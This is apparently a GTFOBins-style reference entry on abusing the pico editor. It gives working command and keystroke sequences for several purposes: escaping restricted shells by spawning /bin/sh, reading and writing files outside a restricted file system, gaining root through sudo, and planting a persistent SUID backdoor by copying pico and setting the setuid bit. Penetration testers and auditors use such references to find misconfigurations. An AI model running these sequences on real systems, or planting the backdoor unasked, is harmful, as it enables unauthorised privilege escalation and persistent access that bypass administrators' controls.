It can be used to break out from restricted environments by spawning an interactive system shell.
pico
^R^X
reset; sh 1>&0 2>&0
The SPELL environment variable can be used in place of the -s option if the command line cannot be changed.
pico -s /bin/sh
/bin/sh
^T
It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.
pico file_to_write
DATA
^O
It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.
pico file_to_read
It runs with the SUID bit set and may be exploited to access the file
system, escalate or maintain access with elevated privileges working as a
SUID backdoor. If it is used to run sh -p, omit the -p argument on systems
like Debian that allow the default sh shell to run with SUID privileges.
The SPELL environment variable can be used in place of the -s option if the command line cannot be changed.
sudo sh -c 'cp $(which pico) .; chmod +s ./pico'
./pico
^R^X
reset; sh 1>&0 2>&0
It runs in privileged context and may be used to access the file system,
escalate or maintain access with elevated privileges if enabled on sudo.
sudo pico
^R^X
reset; sh 1>&0 2>&0